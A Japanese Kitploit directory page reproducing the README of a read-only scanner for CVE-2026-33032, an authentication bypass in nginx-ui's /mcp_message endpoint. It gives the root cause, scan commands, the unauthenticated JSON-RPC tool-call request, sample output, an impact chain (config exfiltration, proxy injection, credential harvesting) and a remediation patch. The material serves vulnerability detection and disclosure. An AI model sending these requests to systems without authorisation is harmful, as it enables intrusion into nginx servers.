Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-33032-scanner — 非破壊型の脆弱性スキャナー:Nginx-UI MCPエンドポイントの認証バイパス(CVE-2026-33032) | Kitploit
ツール/GitHubGitHub/twinson333/cve-2026-33032-scanner
脆弱性スキャナーエクスプロイトウェブセキュリティペネトレーションテスト認証APIセキュリティ
GitHubtwinson333/cve-2026-33032-scanner

cve-2026-33032-scanner

非破壊型の脆弱性スキャナー:Nginx-UI MCPエンドポイントの認証バイパス(CVE-2026-33032)

リポジトリを見る
3275ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-33032 スキャナー

Nginx-UI MCPエンドポイント認証バイパス用の非破壊的脆弱性スキャナー

脆弱性の概要

CVE-2026-33032 は、nginx-uiのModel Context Protocol(MCP)統合における認証バイパス脆弱性です。/mcp_message エンドポイントは認証ミドルウェアが欠如している一方で、すべてのMCPツールへのアクセスを提供しており、リモート攻撃者が以下を実行できる可能性があります:

  • nginx設定とステータスの読み取り
  • nginx設定ファイルの作成・変更・削除
  • nginxサービスの再起動またはリロード
  • 機密設定データの外部への持ち出し
  • トラフィック傍受のための悪意のある設定の注入

根本原因

  1. 認証の非対称性: /mcp エンドポイントは認証を要求しますが、/mcp_message は要求しません:

    root@kitploit:~
    r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
    r.Any("/mcp_message", middleware.IPWhiteList(), ...)  // AuthRequired() が欠如
    
  2. フェイルオープンのIPホワイトリスト: デフォルトのIPホワイトリストは空であり、ミドルウェアはこれを「すべて許可」として扱います

  3. 両エンドポイントがハンドラーを共有: 両方とも同じ mcp.ServeHTTP() にルーティングされ、すべてのMCPツール呼び出しを処理します

スキャナー機能

✅ 非破壊的テスト - 読み取り専用のMCPツールのみを使用
✅ 包括的なフィンガープリンティング - nginx-uiインストールを識別
✅ 安全な概念実証 - 設定変更なし
✅ バッチスキャン - ファイルから複数のターゲットを処理
✅ 詳細なレポート - 統合用のJSON出力

インストール

root@kitploit:~
# スキャナーをクローンまたはダウンロード
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py

# 依存関係をインストール(必要な場合)
pip3 install requests

使用方法

基本スキャン

root@kitploit:~
# 単一ターゲットをスキャン
python3 cve-2026-33032-scanner.py -u http://target.com:9000

# 詳細出力でスキャン
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v

# カスタムタイムアウト
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15

バッチスキャン

root@kitploit:~
# ファイルから複数のターゲットをスキャン
python3 cve-2026-33032-scanner.py -f targets.txt

# 詳細出力とJSONレポート付き
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json

#Burp Pingback
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net

ターゲットファイル形式

root@kitploit:~
# targets.txt - 各行に1つのURL
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000

動作原理

スキャナーは多段階の検出プロセスを実行します:

ステージ1: フィンガープリンティング

一般的なnginx-uiエンドポイントをチェックしてインストールを識別します:

  • /api/info - バージョン情報
  • /login - ログインページ
  • /api/auth/login - 認証エンドポイント
  • /mcp および /mcp_message - MCPエンドポイント

ステージ2: 認証チェック

/mcp エンドポイントをテストして、認証が適切に要求されることを確認します(ベースライン)

ステージ3: 脆弱性の悪用

認証なしで /mcp_message 経由の非破壊的MCPツール呼び出しを試みます:

  1. nginx_status(最も安全)- nginxプロセスのステータスを読み取ります
  2. nginx_config_list - 設定ファイルを一覧表示します
  3. nginx_config_base_path - 設定ディレクトリのパスを取得します

いずれかのツールが認証なしで成功した場合、脆弱性が確認されます。

使用される安全なMCPツール

スキャナーは読み取り専用のMCPツールのみを呼び出します:

ツール説明影響
nginx_statusnginxサービスのステータスを読み取る変更なし
nginx_config_list設定ファイルを一覧表示変更なし
nginx_config_base_path設定ディレクトリのパスを取得変更なし

明示的に回避されるツール:

  • nginx_config_add - ファイルを作成する可能性がある
  • nginx_config_modify - 設定を変更する可能性がある
  • restart_nginx / reload_nginx - サービスの中断
  • nginx_config_enable - アクティブな設定を変更する可能性がある

出力例

脆弱なターゲット

root@kitploit:~
[+] nginx-ui検出: /login に 'nginx-ui' が見つかりました
[+] /mcp エンドポイントは適切に保護されています

[*] /mcp_message エンドポイントをテスト中 (CVE-2026-33032)...
  [*] ツールを試行中: nginx_status - nginxステータスを読み取り(最も安全)
      ステータス: 200

======================================================================
[!] CVE-2026-33032 に対して脆弱
======================================================================
証明: 認証なしで nginx_status の実行に成功

保護されたターゲット

root@kitploit:~
[+] nginx-ui検出: バージョンエンドポイントにアクセス可能
[+] /mcp エンドポイントは適切に保護されています

[*] /mcp_message エンドポイントをテスト中 (CVE-2026-33032)...
  [*] ツールを試行中: nginx_status - nginxステータスを読み取り(最も安全)
      ステータス: 401
      認証が必要(保護されています)✓

[+] 脆弱ではない - エンドポイントは認証を要求します

修復

脆弱性が確認された場合:

  1. 即時修正: /mcp_message に認証ミドルウェアを追加します:

    root@kitploit:~
    r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
        func(c *gin.Context) {
            mcp.ServeHTTP(c)
        })
    
  2. 多層防御:

    • IPホワイトリストをデフォルトで全拒否に設定
    • 外部アクセスが不要な場合はMCPエンドポイントをlocalhostのみに制限
    • MCPエンドポイントにレート制限を実装
  3. アップグレード: 利用可能になったらパッチ適用済みのnginx-uiバージョンに更新

責任ある開示

このツールは以下を目的として設計されています:

  • ✅ バグ報奨金プログラム
  • ✅ 許可されたペネトレーションテスト
  • ✅ 許可を得たセキュリティ研究
  • ✅ 開示前の脆弱性検証

所有していない、または明示的なテスト許可がないシステムでこのツールを使用しないでください。

バグ報奨金のヒント

この脆弱性を報告する際:

  1. 深刻度: 重大(CVSS 9.8+)

    • ネットワークからアクセス可能
    • 認証不要
    • システム全体の侵害
    • 設定の外部持ち出し+変更
  2. 証明: 認証なしのMCPツール呼び出しの成功を示すスキャナー出力を含める

  3. 影響チェーン:

    • 認証なしアクセス → 設定読み取り → バックエンドトポロジーの暴露
    • 設定書き込み → 悪意のあるプロキシ注入 → 認証情報の収集
    • nginx再起動 → サービスの中断 → DoS
  4. 安全なPoC: 読み取り専用ツールのみを使用(nginx_status、nginx_config_list)

技術詳細

MCPツール呼び出し形式

root@kitploit:~
POST /mcp_message HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "nginx_status",
    "arguments": {}
  },
  "id": 1
}

成功レスポンス

root@kitploit:~
{
  "jsonrpc": "2.0",
  "result": {
    "content": [
      {
        "type": "text",
        "text": "nginx is running (PID: 1234)"
      }
    ]
  },
  "id": 1
}

保護されたレスポンス

root@kitploit:~
HTTP/1.1 401 Unauthorized
{
  "error": "authentication required"
}

参考情報

  • CVE: CVE-2026-33032
  • 影響を受ける製品: nginx-ui(MCP統合を含むバージョン)
  • CVSS: 9.8(重大)
  • CWE: CWE-306(重要な機能に対する認証の欠如)

ライセンス

このツールは教育目的および許可されたセキュリティテスト目的のみで提供されます。

著者

Antony Esthak Twinson @ Cyber Tamarin
セキュリティ研究者 | バグ報奨金ハンター
Webアプリケーションセキュリティと脆弱性研究を専門とする


免責事項: このスキャナーは非破壊的テストのみを実行します。システムをテストする前に必ず適切な許可を取得してください。

ツールをダウンロード